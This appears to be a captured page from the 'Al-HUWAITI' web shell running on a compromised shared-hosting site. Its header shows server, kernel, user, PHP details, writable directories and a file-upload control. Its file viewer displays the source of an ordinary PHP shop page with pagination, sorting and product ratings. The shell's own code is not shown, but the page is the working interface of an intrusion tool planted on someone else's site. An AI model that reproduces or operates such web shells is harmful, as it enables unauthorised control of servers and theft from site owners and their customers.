Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/shop.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?> - Shop</title>
<div class="col-md-12 col-xs-12" id="product_msg"></div>
<?php
//initialize filter session
if (!isset($_SESSION["filter_by"])){
	$_SESSION["filter_by"] = "default";
	$filter_by =" product_title";
	$selected_default="selected";
	$selected_highest="";
	$selected_lowest="";
}
else{
	if($_SESSION["filter_by"] == "default"){
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "highest_price"){
		$filter_by =" product_price DESC";
		$selected_default="";
		$selected_highest="selected";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "lowest_price"){
		$filter_by =" product_price ASC";
		$selected_default="";
		$selected_highest="";
		$selected_lowest="selected";
	}
	else{
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
		}
}
//form runs
if (isset($_GET["filter"])){
	$filter_form = mysqli_real_escape_string($con,$_GET['filter_by']);
	$_SESSION["filter_by"] = "$filter_form";
	
	if($_SESSION["filter_by"] == "default"){
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "highest_price"){
		$filter_by =" product_price DESC";
		$selected_default="";
		$selected_highest="selected";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "lowest_price"){
		$filter_by =" product_price ASC";
		$selected_default="";
		$selected_highest="";
		$selected_lowest="selected";
	}
	else{
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
		}
}
?>

    <!-- Start All Title Box -->
    <div class="all-title-box">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <h2>Shop</h2>
                    <ul class="breadcrumb">
                        <li class="breadcrumb-item"><a href="#">Home</a></li>
                        <li class="breadcrumb-item active">Shop</li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
    <!-- End All Title Box -->

    <!-- Start Shop Page  -->
    <div class="shop-box-inner">
        <div class="container">
            <div class="row">
                <div class="col-xl-9 col-lg-9 col-sm-12 col-xs-12 shop-content-right">
                    <div class="right-product-box">
                        <div class="product-item-filter row">
                            <div class="col-lg-8 col-sm-8 text-center text-sm-left">
                                <div class="toolbar-sorter-right">
                                    <span class='disappear_mobile'>Sort by </span>
                                    <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="get">
                                    <select name='filter_by' id="basic" class="selectpicker show-tick" style=''>
                <option <?php echo $selected_default; ?> value='default'>Default</option>
				<option <?php echo $selected_highest; ?> value='highest_price'>Highest Prices</option>
				<option <?php echo $selected_lowest; ?> value='lowest_price'>Lowest Prices</option>
                                    </select>
                                    <button class="btn_inline hvr-hover" type="submit"name='filter'>Filter</button>
                                    </form>
                                   
                                </div>
                               
                            </div>
                            <div class="col-12 col-sm-4 text-center text-sm-right">
                                <ul class="nav nav-tabs ml-auto disappear_mobile">
                                    <li>
                                        <a class="nav-link active" href="#grid-view" data-toggle="tab"> <i class="fa fa-th"></i> </a>
                                    </li>
                                    <li>
                                        <a class="nav-link" href="#list-view" data-toggle="tab"> <i class="fa fa-list-ul"></i> </a>
                                    </li>
                                </ul>
                            </div>
                        </div>

                        <div class="product-categorie-box">
                            <div class="tab-content">
                                <div role="tabpanel" class="tab-pane fade show active" id="grid-view">
                                    <div class="row">
<?php 
	$sql = "SELECT COUNT(product_id) FROM products ORDER BY $filter_by";
	$query = mysqli_query($con, $sql);
	$row = mysqli_fetch_row($query);
	//here we have the total row count
	$rows = $row[0];
	//number of results we want per page
	$page_rows = 200;
	//tells us the page number of our last page
	$last = ceil($rows/$page_rows);
	//this makes sure last cannot be less than 1
	if($last < 1){$last = 1;}
	//establish the page num variable
	$pagenum = 1;
	//Get pageum from $GET if it is present, else its 1
	if(isset($_GET['pn'])){
	$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);
	}
	//below 1 or more than last page
	if($pagenum < 1){
	   $pagenum = 1;
	}else if ($pagenum > $last) {
		$pagenum = $last;
	}
	//this sets the range of rows to query for the chosen pagenum
	$limit = 'LIMIT ' .($pagenum - 1) * $page_rows .',' .$page_rows;
	//grabs one page worth of rows
	$sql = "SELECT * FROM products ORDER BY $filter_by $limit";
	$query = mysqli_query($con, $sql);
	//this shows the user what page they on and total number
	$textline1 = "Messages $rows";
	$textline2 = "Page $pagenum of $last";
	//establish the pagination controls
	$paginationCtrls = "";
	//if there is more than one page worth of results
	if($last != 1){
		if($pagenum > 1){
			$previous = $pagenum - 1;
			//$paginationCtrls .='<a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Previous</a> &nbsp';
			//$paginationCtrls .='<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Prev</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$previous&id=$cat_id\">&nbsp;&nbsp;Prev&nbsp;&nbsp;</a>";
			//render clickable links to the left of target page number
			for($i = $pagenum-4; $i < $pagenum; $i++){
				if($i > 0){
					//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'"></a> &nbsp; ';
					//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
					$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$i&id=$cat_id\">&nbsp;&nbsp;$i&nbsp;&nbsp;</a>";
				}
			}
		}
		//render target number bt not link
		//$paginationCtrls .= ''.$pagenum.' &nbsp; ';
		$paginationCtrls .= '<a href="#">'.$pagenum.'</a>';
		//render clickable number links to the right of target number
		for($i = $pagenum+1; $i <= $last; $i++){
			//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a> &nbsp; ';
			//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$i&id=$cat_id\">&nbsp;&nbsp;$i&nbsp;&nbsp;</a>";
			
			if($i >= $pagenum+4){
				break;
			}
		}
		//this does the same as above, only checking if we are on the last page
		if($pagenum != $last) {
			$next = $pagenum + 1;
			//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$next.'">Next</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$next&id=$cat_id\">&nbsp;&nbsp;Next&nbsp;&nbsp;</a>";
		}
	}
	if(mysqli_num_rows($query) > 0){
		while ($row_back_deals = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
			$product_id = $row_back_deals['product_id'];
			$product_title = $row_back_deals['product_title'];
			$product_price = $row_back_deals['product_price'];
			$product_desc = $row_back_deals['product_desc'];
			$product_image = $row_back_deals['product_image'];
			$new_tag = $row_back_deals['new'];
			$in_stock = $row_back_deals['in_stock'];

			//calculate the rating of each product
			$stmt_reviews = $con -> prepare('SELECT rating FROM product_reviews WHERE product_id = ?');
			$stmt_reviews -> bind_param('s',$product_id);
			$stmt_reviews -> execute(); 
			$stmt_reviews -> store_result();
			$stmt_reviews -> bind_result($product_rating); 
			$numrows_reviews = $stmt_reviews -> num_rows();
			if($numrows_reviews > 0){
					$total_rating = array();
					while ($stmt_reviews -> fetch()) {
							array_push($total_rating,$product_rating);
					}
					$all_ratings = array_sum($total_rating);
					$average_rating = $all_ratings / $numrows_reviews;
					$rounded_up = round($average_rating);
					$rating_display = " &nbsp;$rounded_up / 5";
			}
			else{$rating_display = "";$rounded_up = 0;}
?>
<div class="col-sm-6 col-md-6 col-lg-4 col-xl-4">
    <?php include("product.php"); ?>	
</div>	

<?php									
		}
	}
	else{echo"Nothing found";}				
?>
                                    </div>
                                </div>
                                <div role="tabpanel" class="tab-pane fade" id="list-view">
                                <?php 
	$sql = "SELECT COUNT(product_id) FROM products ORDER BY $filter_by";
	$query = mysqli_query($con, $sql);
	$row = mysqli_fetch_row($query);
	//here we have the total row count
	$rows = $row[0];
	//number of results we want per page
	$page_rows = 200;
	//tells us the page number of our last page
	$last = ceil($rows/$page_rows);
	//this makes sure last cannot be less than 1
	if($last < 1){$last = 1;}
	//establish the page num variable
	$pagenum = 1;
	//Get pageum from $GET if it is present, else its 1
	if(isset($_GET['pn'])){
	$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);
	}
	//below 1 or more than last page
	if($pagenum < 1){
	   $pagenum = 1;
	}else if ($pagenum > $last) {
		$pagenum = $last;
	}
	//this sets the range of rows to query for the chosen pagenum
	$limit = 'LIMIT ' .($pagenum - 1) * $page_rows .',' .$page_rows;
	//grabs one page worth of rows
	$sql = "SELECT * FROM products ORDER BY $filter_by $limit";
	$query = mysqli_query($con, $sql);
	//this shows the user what page they on and total number
	$textline1 = "Messages $rows";
	$textline2 = "Page $pagenum of $last";
	//establish the pagination controls
	$paginationCtrls = "";
	//if there is more than one page worth of results
	if($last != 1){
		if($pagenum > 1){
			$previous = $pagenum - 1;
			//$paginationCtrls .='<a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Previous</a> &nbsp';
			//$paginationCtrls .='<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Prev</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$previous&id=$cat_id\">&nbsp;&nbsp;Prev&nbsp;&nbsp;</a>";
			//render clickable links to the left of target page number
			for($i = $pagenum-4; $i < $pagenum; $i++){
				if($i > 0){
					//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'"></a> &nbsp; ';
					//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
					$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$i&id=$cat_id\">&nbsp;&nbsp;$i&nbsp;&nbsp;</a>";
				}
			}
		}
		//render target number bt not link
		//$paginationCtrls .= ''.$pagenum.' &nbsp; ';
		$paginationCtrls .= '<a href="#">'.$pagenum.'</a>';
		//render clickable number links to the right of target number
		for($i = $pagenum+1; $i <= $last; $i++){
			//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a> &nbsp; ';
			//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$i&id=$cat_id\">&nbsp;&nbsp;$i&nbsp;&nbsp;</a>";
			
			if($i >= $pagenum+4){
				break;
			}
		}
		//this does the same as above, only checking if we are on the last page
		if($pagenum != $last) {
			$next = $pagenum + 1;
			//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$next.'">Next</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$next&id=$cat_id\">&nbsp;&nbsp;Next&nbsp;&nbsp;</a>";
		}
	}
	if(mysqli_num_rows($query) > 0){
		while ($row_back_deals = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
			$product_id = $row_back_deals['product_id'];
			$product_title = $row_back_deals['product_title'];
			$product_price = $row_back_deals['product_price'];
			$product_desc = $row_back_deals['product_desc'];
			$product_image = $row_back_deals['product_image'];
			$new_tag = $row_back_deals['new'];
			$in_stock = $row_back_deals['in_stock'];

			//calculate the rating of each product
			$stmt_reviews1 = $con -> prepare('SELECT rating FROM product_reviews WHERE product_id = ?');
			$stmt_reviews1 -> bind_param('s',$product_id);
			$stmt_reviews1 -> execute(); 
			$stmt_reviews1 -> store_result();
			$stmt_reviews1 -> bind_result($product_rating); 
			$numrows_reviews1 = $stmt_reviews1 -> num_rows();
			if($numrows_reviews1 > 0){
					$total_rating = array();
					while ($stmt_reviews1 -> fetch()) {
							array_push($total_rating,$product_rating);
					}
					$all_ratings = array_sum($total_rating);
					$average_rating = $all_ratings / $numrows_reviews;
					$rounded_up = round($average_rating);
					$rating_display = " &nbsp;$rounded_up / 5";
			}
			else{$rating_display = "";$rounded_up = 0;}
?>

    <?php include("product_list.php"); ?>	


<?php									
		}
	}
	else{echo"Nothing found";}				
?>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-md-12">	
                        <?php 	
                            echo"$paginationCtrls";
                            echo "<br/><div class='text_line'>$textline2</div>";	
                            ?>
                        </div>
                    </div>
                </div>


				<div class="col-xl-3 col-lg-3 col-sm-12 col-xs-12 sidebar-shop-left">
                    <div class="product-categori">
                        <div class="search-product">
                            <form action="search.php" method='post'>
                                <input class="form-control" placeholder="Search here..." name='search' type="text" required>
                                <button type="submit" name='search_for'> <i class="fa fa-search"></i> </button>
                            </form>
                        </div>
                        <div class="filter-sidebar-left">
                            <div class="title-left">
                                <h3>Categories</h3>
                            </div>
                            <div class="list-group list-group-collapse list-group-sm list-group-tree" id="list-group-men" data-children=".sub-men">
                            <?php 
	$get_categories = mysqli_query($con,"SELECT * FROM categories ORDER BY cat_title");
		$count_categories = mysqli_num_rows($get_categories);
		if($count_categories > 0){
			while($row = mysqli_fetch_array($get_categories)){
			$cat_id = $row["cat_id"];
			$cat_title = $row["cat_title"];

            $stmt_caaa = $con -> prepare('SELECT product_id FROM products WHERE product_cat = ?');
            $stmt_caaa -> bind_param('s',$cat_id);
            $stmt_caaa -> execute(); 
            $stmt_caaa -> store_result();
            $stmt_caaa -> bind_result($product_ids); 
            $numrows_caaa = $stmt_caaa -> num_rows();
           

			echo"
            <a href='categories.php?id=$cat_id&nm=$cat_title' class='list-group-item list-group-item-action'> $cat_title <small class='text-muted'>($numrows_caaa) </small></a>
			";
			
			}//end of while loop
		}
?>  
                                
                                

                                
                            </div>
                        </div>
                       
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!-- End Shop Page -->

    <?php include("ig_feed.php"); ?> 

<?php include("footer.php"); ?>

Al-HUWAITI Shell